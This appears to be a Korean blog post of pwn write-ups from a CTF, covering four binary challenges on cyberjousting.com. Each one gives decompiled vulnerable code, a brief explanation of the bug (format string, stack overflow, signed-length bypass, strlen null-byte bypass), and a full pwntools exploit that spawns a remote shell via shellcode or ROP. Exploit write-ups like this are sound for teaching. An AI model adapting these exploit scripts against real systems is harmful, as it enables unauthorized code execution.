[solved]
[pwn/All]
더보기
int vuln()
{
int result; // eax
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
while ( 1 )
{
result = strcmp(buf, "quit");
if ( !result )
break;
read(0, buf, 0x100uLL);
printf(buf);
}
return result;
}
bof, fsb가 발생한다.
from pwn import *
context.arch = 'amd64'
# p = process('all')
p = remote('all.chal.cyberjousting.com', 1348)
p.send(b'%p.')
stack = int(p.recvuntil(b'.')[:-1],16)
pay = b'quit\x00' + b'a'*0x23
pay += p64(stack+0x30)
pay += asm(shellcraft.sh())
p.send(pay)
p.interactive()
[pwn/Static]
더보기
__int64 vuln()
{
char v1[10]; // [rsp+6h] [rbp-Ah] BYREF
return read(0LL, v1, 0x100LL);
}
vuln에선 canary를 검사하지 않는다.
따라서 bof로 rop를 수행할 수 있다.
from pwn import *
context.arch = 'amd64'
# p = process('static')
p = remote('static.chal.cyberjousting.com',1350)
e = ELF('static')
r = ROP(e)
rw_area = 0x49dc80
ret = r.find_gadget(['ret'])[0]
syscall = r.find_gadget(['syscall','ret'])[0]
pop_rdi = r.find_gadget(['pop rdi','ret'])[0]
pop_rsi = r.find_gadget(['pop rsi','ret'])[0]
pop_rdx_rbx = r.find_gadget(['pop rdx','pop rbx','ret'])[0]
pop_rax = r.find_gadget(['pop rax','ret'])[0]
pay = b'a'*0xa + p64(rw_area)
pay += p64(pop_rsi) + p64(rw_area)
pay += p64(0x4017FC)
p.send(pay)
pay = b'/bin/sh\x00'
pay += p64(pop_rdi) + p64(rw_area)
pay += p64(pop_rsi) + p64(0)
pay += p64(pop_rdx_rbx) + p64(0) + p64(0)
pay += p64(pop_rax) + p64(0x3b)
pay += p64(syscall)
p.send(pay)
p.interactive()
[pwn/Numbersss]
더보기
__int64 vuln()
{
__int64 result; // rax
char v1[16]; // [rsp+0h] [rbp-10h] BYREF
printf("Free junk: %p\n", &printf);
puts("How many bytes do you want to read in?");
__isoc99_scanf("%hhd", &length);
if ( length > 0x10 )
{
puts("Too many bytes!");
exit(1);
}
for ( counter = 0; ; ++counter )
{
result = (unsigned __int8)length;
if ( counter == length )
break;
read(0, &v1[counter], 1uLL);
}
return result;
}
length를 입력받는데 %hhd로 입력받는다.
%hhd는 signed byte를 의미한다.
음수를 넣으면 if 문을 우회할 수 있다.
이후 1바이트씩 값을 써나갈 수 있다.
printf 함수의 주소를 주기 때문에 libc leak이 해결되므로 rop로 쉘 띄우면 된다.
from pwn import *
context.log_level = 'debug'
p = process('numbersss')
p = remote('numbersss.chal.cyberjousting.com', 1351)
l = ELF('libc-2.37.so')
lr = ROP(l)
p.recvuntil(b'Free junk: ')
printf = int(p.recvline()[:-1],16)
libc = printf - l.symbols['printf']
print('[libc]',hex(libc))
binsh = libc + list(l.search(b'/bin/sh'))[0]
system = libc + l.symbols['system']
pop_rdi = libc + lr.find_gadget(['pop rdi','ret'])[0]
ret = libc + lr.find_gadget(['ret'])[0]
p.sendlineafter(b'in?',b'-128')
for i in range(0x18):
p.send(b'a')
for i in range(8):
p.send(int.to_bytes(pop_rdi&0xff,1,'little'))
pop_rdi >>= 8
for i in range(8):
p.send(int.to_bytes(binsh&0xff,1,'little'))
binsh >>= 8
for i in range(8):
p.send(int.to_bytes(ret&0xff,1,'little'))
ret >>= 8
for i in range(8):
p.send(int.to_bytes(system&0xff,1,'little'))
system >>= 8
for i in range(0x80-0x30):
p.send(b'\x00')
p.interactive()
[unsolved]
[pwn/Gargantuan]
더보기
int __cdecl main(int argc, const char **argv, const char **envp)
{
puts("Welcome!");
puts("Enter your input below:");
gargantuan();
return 0;
}
int gargantuan()
{
size_t read_len; // rbx
size_t len; // rax
char buf[512]; // [rsp+0h] [rbp-720h] BYREF
char s[1288]; // [rsp+200h] [rbp-520h] BYREF
int read_num; // [rsp+708h] [rbp-18h]
int i; // [rsp+70Ch] [rbp-14h]
memset(s, 0, 0x500uLL);
for ( i = 0; i <= 4; ++i )
{
read_num = read(0, buf, 0x200uLL);
if ( read_num <= 0 )
{
puts("read error");
return printf("Oh I'm sorry, did you want this?? Oops, TOO LATE! %p\n", gargantuan);
}
if ( strlen(buf) > 0x100 )
{
puts("too large");
return printf("Oh I'm sorry, did you want this?? Oops, TOO LATE! %p\n", gargantuan);
}
read_len = read_num;
len = strlen(s);
memcpy(&s[len], buf, read_len);
}
return printf("Oh I'm sorry, did you want this?? Oops, TOO LATE! %p\n", gargantuan);
}
read_num이 아닌 strlen(buf)로 검사하기 때문에 널바이트를 활용해 우회할 수 있다.
5번째 memcpy를 통해 리턴 오버라이트를 할 수 있다.
처음엔 1바이트만 바꿔서 다시 gargantuan 함수를 호출하도록 한 뒤,
rop페이로드를 수행하도록 짰다.
근데 로되리안.. 왜 안되는지 모르겠움..
from pwn import *
context.log_level = 'debug'
p = process('gargantuan')
p = remote('gargantuan.chal.cyberjousting.com', 1352)
e = ELF('gargantuan',checksec=False)
l = ELF('libc.so.6',checksec=False)
r = ROP(e)
lr = ROP(l)
def inject(rbp,data):
for i in range(4):
pay = b'a'*0x100 + b'\x00' + b'a'*0xfe + b'\x00'
p.send(pay)
pay = b'e'*0xff + b'\x00' + b'f'*0x20
pay += rbp + data
p.send(pay)
p.recvuntil(b'below:')
# gdb.attach(p)
# pause()
inject(b'f'*0x8,b'\x0B')
p.recvuntil(b'TOO LATE! ')
gargantuan = int(p.recvline()[:-1],16)
pie = gargantuan - e.symbols['gargantuan']
rw_area = pie + 0x4800
print('[pie]',hex(pie))
puts_plt = pie + e.plt['puts']
puts_got = pie + e.got['puts']
pop_rdi = pie + r.find_gadget(['pop rdi','ret'])[0]
ret = pie + r.find_gadget(['ret'])[0]
pay = p64(pop_rdi) + p64(puts_got)
pay += p64(puts_plt)
pay += p64(gargantuan)
inject(p64(rw_area),pay)
p.recvline()
libc = u64(p.recvline()[:-1]+b'\x00'*2) - l.symbols['puts']
print('[libc]',hex(libc))
binsh = libc + list(l.search(b'/bin/sh'))[0]
system = libc + l.symbols['system']
pay = p64(pop_rdi) + p64(binsh)
pay += p64(ret)
pay += p64(system)
inject(p64(rw_area),pay)
p.interactive()
'CTF' 카테고리의 다른 글
[hxpCTF 2020] kernel-rop (with write-up) (2) (0) | 2024.06.30 |
---|---|
[hxpCTF 2020] kernel-rop (with write-up) (1) (0) | 2024.06.22 |
TBTL CTF 2024 (Pwn) (0) | 2024.05.18 |
San Diego CTF 2024 (Pwn) (0) | 2024.05.15 |
Grey Cat The Flag 2024 Qualifiers (0) | 2024.04.22 |